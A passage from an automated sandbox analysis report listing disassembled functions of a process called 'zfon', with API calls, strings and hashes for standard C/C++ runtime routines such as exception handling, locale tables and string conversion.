_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F00F4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F0104
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F0111

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc
String ID:
API String ID: 3856544966-0
Opcode ID: 83a0e9b01bca61e18e723a4362523cdaa063e4ca77d1efefa51ebefaf1cf5d36
Instruction ID: 9773da3f931f8b8181232f486ea23f6350196184dd451ae88b29e2b9ef15a879
Opcode Fuzzy Hash: 83a0e9b01bca61e18e723a4362523cdaa063e4ca77d1efefa51ebefaf1cf5d36
Instruction Fuzzy Hash: FD91BF32B09B4699EB14EF65D8443BDA3B2AB49B98F844431CA2D077D8EF3CD445C3A0

Function 00007FF8BFB53334 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 309COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF8BFB53390

Part of subcall function 00007FF8BFB55768: __GetUnwindTryBlock.LIBCMT ref: 00007FF8BFB557AB
Part of subcall function 00007FF8BFB55768: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF8BFB557D0

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF8BFB53468
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB53475
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF8BFB536B9
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB536E7

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB537AD
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8BFB537E2

Strings

csm, xrefs: 00007FF8BFB53411
csm, xrefs: 00007FF8BFB5348D
csm, xrefs: 00007FF8BFB533AA

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwindabortterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 4223619315-393685449
Opcode ID: 136ccb217c6342170b2e40de9bcc27d78e98e413111f3fdb98d74605d14dd66b
Instruction ID: f71b7b6941b74bddbb73dadfca53ae3bc464871f2cab0d673a0c9f449b6958e8
Opcode Fuzzy Hash: 136ccb217c6342170b2e40de9bcc27d78e98e413111f3fdb98d74605d14dd66b
Instruction Fuzzy Hash: F3D16B73A087418AEB609BA9D4602AD77A1FB45BC8F540139EF8D57B95DF3CE0A1C700

Function 00007FF8BFB5EDC4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBVCRUNTIME ref: 00007FF8BFB5EE1E

Strings

template-parameter-, xrefs: 00007FF8BFB5EE80
`generic-type-, xrefs: 00007FF8BFB5EEFA
`template-parameter-, xrefs: 00007FF8BFB5EEB3
generic-type-, xrefs: 00007FF8BFB5EEC7

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Replicator::operator[]
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3207858774
Opcode ID: d6d96e58e56aecf7a62acf838a8154a9c3b739b48ea3dca409ea4180aa86bfee
Instruction ID: 2bef2af664398d10e22549bea3a68b552e6555d3568c9de7a30115582c79140e
Opcode Fuzzy Hash: d6d96e58e56aecf7a62acf838a8154a9c3b739b48ea3dca409ea4180aa86bfee
Instruction Fuzzy Hash: 13917C22B18A86A9FB609FA8D4602BC77A1AF587C8F984132EB4D03795DF3CF545C750

Function 00007FF8B90FC2B0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B90FC2F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FC312
_Maklocstr.LIBCPMT ref: 00007FF8B90FC32E
_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B90FC337
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FC354
_Maklocstr.LIBCPMT ref: 00007FF8B90FC370
_Maklocstr.LIBCPMT ref: 00007FF8B90FC385

Part of subcall function 00007FF8B90EB690: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6B2
Part of subcall function 00007FF8B90EB690: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6D8
Part of subcall function 00007FF8B90EB690: memcpy.VCRUNTIME140(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6F0

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF8B90FC31D
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 00007FF8B90FC35F
:AM:am:PM:pm, xrefs: 00007FF8B90FC37E

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Maklocstrfree$GetdaysGetmonths___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funcmallocmemcpy
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 2460671452-35662545
Opcode ID: 0820c1a4a04c52d0eb239fbab98a74cf88671c412056eb74643d8d24ad950682
Instruction ID: 0a10358e2703d7641f789e8ccffb16aa144daec9f28efddf4113fe130d1abde0
Opcode Fuzzy Hash: 0820c1a4a04c52d0eb239fbab98a74cf88671c412056eb74643d8d24ad950682
Instruction Fuzzy Hash: BD214F22A08B8182EB00DF29E4412A877A1FF98FC4F448535DB4D57756EF3CE586C380

Function 00007FF7F96F45F0 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F4754
memcpy.VCRUNTIME140 ref: 00007FF7F96F476F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F478F
memmove.VCRUNTIME140 ref: 00007FF7F96F47C5
memcpy.VCRUNTIME140 ref: 00007FF7F96F47DB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F4816
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F483A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F484A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F485A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F4867
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F48A4

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$freememcpy$cef_string_map_allocmallocmemmove
String ID:
API String ID: 940974311-0
Opcode ID: 33a35221359f596db583780524ca83e01fac178137d3890bcdf752d64281db90
Instruction ID: f897b5a79c60c2c08dab6ba0d3778919d151b330f7079f4989ceaa22fca1d1f1
Opcode Fuzzy Hash: 33a35221359f596db583780524ca83e01fac178137d3890bcdf752d64281db90
Instruction Fuzzy Hash: C3A16062B04B4585EF14EF65D8583AC63B2EB85BD8F848535CE2E17BD8EE28D445C3A0

Function 00007FF7F96F4980 Relevance: 16.7, APIs: 11, Instructions: 206COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F4A82
memcpy.VCRUNTIME140 ref: 00007FF7F96F4A9A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F4AB6
memmove.VCRUNTIME140 ref: 00007FF7F96F4AE9
memcpy.VCRUNTIME140 ref: 00007FF7F96F4AFF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F4B2E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F4B3E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F4B4E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F4B5B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F4B9A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F4BF3

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$free$memcpy$mallocmemmove
String ID:
API String ID: 1019560052-0
Opcode ID: 1f5262a16c04021e3a90f13f385dbb394579881b511105779db3e6e7012f87b8
Instruction ID: 3c574df74db5869409f6c20cac53ab41bc55ab1f0eeb7d0add516ef71f339b63
Opcode Fuzzy Hash: 1f5262a16c04021e3a90f13f385dbb394579881b511105779db3e6e7012f87b8
Instruction Fuzzy Hash: 2981C262B04B4585EF14EF65D8543ACA3B2EB85BE8F448635CE3E17BDDEE28D4418350

Function 00007FF8B90E9710 Relevance: 16.7, APIs: 11, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

APIs

__strncnt.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90E9754
MultiByteToWideChar.KERNEL32 ref: 00007FF8B90E9781
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E97EB
MultiByteToWideChar.KERNEL32 ref: 00007FF8B90E9828
__crtCompareStringEx.LIBCPMT ref: 00007FF8B90E984D
__crtCompareStringEx.LIBCPMT ref: 00007FF8B90E9893
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E98EC
__crtCompareStringEx.LIBCPMT ref: 00007FF8B90E9922
WideCharToMultiByte.KERNEL32 ref: 00007FF8B90E9960
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E997D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E9998

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide__crt$freemalloc$__strncnt
String ID:
API String ID: 525835285-0
Opcode ID: f6e00a47ca206d7a4e1b7c1a66c0737e84cf9e0c9f132774600d41b7bf988ede
Instruction ID: 6a6c79c9d18bc63fc8a43960feb49ab21201abfd6b4d69c785f6981ca7bec5b0
Opcode Fuzzy Hash: f6e00a47ca206d7a4e1b7c1a66c0737e84cf9e0c9f132774600d41b7bf988ede
Instruction Fuzzy Hash: B3716C72F08B8286EF248F2D9840269B2E1FB45BE8F544635DB7D46BD6DF3CE4468200

Function 00007FF8BFB59178 Relevance: 16.7, APIs: 11, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB591E0
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB592DD
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB59336
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB59362
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB59374
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB593A3

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 7b5661194ffe89ce305229f5119f63caed1cb30a475ffb1c0b7852583c735bf0
Instruction ID: 0a09b33bc68bcc8d1477e55cb03ff0257a57d8fab321dc2c8f8475376397bd22
Opcode Fuzzy Hash: 7b5661194ffe89ce305229f5119f63caed1cb30a475ffb1c0b7852583c735bf0
Instruction Fuzzy Hash: 7E711B72B05A46A9FB11DFA9D4601EC33B1AB4478CB804432DF0D57A99DF38E619C390

Function 00007FF8B9124890 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B9124A8C
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B9124A9D
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B9124ADE
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B9124AEF

Strings

ios_base::eofbit set, xrefs: 00007FF8B9124A67, 00007FF8B9124AB9, 00007FF8B9124B3C
ios_base::failbit set, xrefs: 00007FF8B9124A60, 00007FF8B9124AB2, 00007FF8B9124B35
ios_base::badbit set, xrefs: 00007FF8B9124A55, 00007FF8B9124AA7, 00007FF8B9124B00, 00007FF8B9124B2A, 00007FF8B9124B80

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrowstd::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2003779279-1866435925
Opcode ID: 5079871919eeef31b104849c91ea34eddbb498ae389773a60f034b0124e3a6ee
Instruction ID: 2194763111a59a687ccfe669ce5e101fcf3c69eba83c02d6694fdb12a7fb8230
Opcode Fuzzy Hash: 5079871919eeef31b104849c91ea34eddbb498ae389773a60f034b0124e3a6ee
Instruction Fuzzy Hash: 89918862A08A8691EF649F1DD4813BC3761FB84BC4F548036CB5E977A4EF2DE986D300

Function 00007FF8B90E68B0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 150COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF8B90E62F5), ref: 00007FF8B90E68F7
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF8B90E62F5), ref: 00007FF8B90E698F
memchr.VCRUNTIME140(?,?,?,?,?,?,00007FF8B90E62F5), ref: 00007FF8B90E69A1
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF8B90E62F5), ref: 00007FF8B90E69D6
memchr.VCRUNTIME140(?,?,?,?,?,?,00007FF8B90E62F5), ref: 00007FF8B90E69E4
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00007FF8B90E62F5), ref: 00007FF8B90E6A4C

Strings

0, xrefs: 00007FF8B90E692E
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00007FF8B90E6998, 00007FF8B90E69AB
0, xrefs: 00007FF8B90E693E

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: memchrtolower$_errnoisspace
String ID: 0$0$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3508154992-2432849056
Opcode ID: 52be6e07b037d6f09550230747a39371e924b433e1c7da1dee62df230f17126e
Instruction ID: 61cc54c82ec4fe8cb18fefd7531b555805585e6d6cbfe7aa2531408493e6a026
Opcode Fuzzy Hash: 52be6e07b037d6f09550230747a39371e924b433e1c7da1dee62df230f17126e
Instruction Fuzzy Hash: 2F51C022E0DBC645EB229E2CF85037D7AE4AB45BD8F189031CBAD42395DE3CE8478700

Function 00007FF8B90E6AA0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 147COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00007FF8B90E6675), ref: 00007FF8B90E6ADC
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00007FF8B90E6675), ref: 00007FF8B90E6B76
memchr.VCRUNTIME140(?,?,?,?,?,00007FF8B90E6675), ref: 00007FF8B90E6B88
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00007FF8B90E6675), ref: 00007FF8B90E6BBB
memchr.VCRUNTIME140(?,?,?,?,?,00007FF8B90E6675), ref: 00007FF8B90E6BC9
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,00007FF8B90E6675), ref: 00007FF8B90E6C27

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00007FF8B90E6B7F, 00007FF8B90E6B92
0, xrefs: 00007FF8B90E6B13
0, xrefs: 00007FF8B90E6B23

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: memchrtolower$_errnoisspace
String ID: 0$0$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3508154992-2432849056
Opcode ID: 43815465dc66ac9b27d3f1ae7d633b0096f14b933a58eda5914f7ac150fdf0fb
Instruction ID: 62c9bcdb583aed56ce2d98c53d4463063ce07b276a771294e22296c59ab78719
Opcode Fuzzy Hash: 43815465dc66ac9b27d3f1ae7d633b0096f14b933a58eda5914f7ac150fdf0fb
Instruction Fuzzy Hash: BC51D226E0DEC245EF259F2DF5643B96AA2AB447E4F5C4530CBBD066A4DE3CE4839300

Function 00007FF8BFB5AADC Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5AB36
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5AC6C

Strings

cointerface , xrefs: 00007FF8BFB5AC13
class , xrefs: 00007FF8BFB5AC81
coclass , xrefs: 00007FF8BFB5AC25
enum , xrefs: 00007FF8BFB5AC49
`unknown ecsu', xrefs: 00007FF8BFB5AB02
union , xrefs: 00007FF8BFB5AC99
struct , xrefs: 00007FF8BFB5AC90

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 2943138195-1464470183
Opcode ID: 056f7ce24c9a02fb08967ba7ebef161081805b5f1a36d64d6cbfd7b45a579add
Instruction ID: 470cc432aa34f29a1346c63569779e56d280d00bd9858ab990d401e7941b60ca
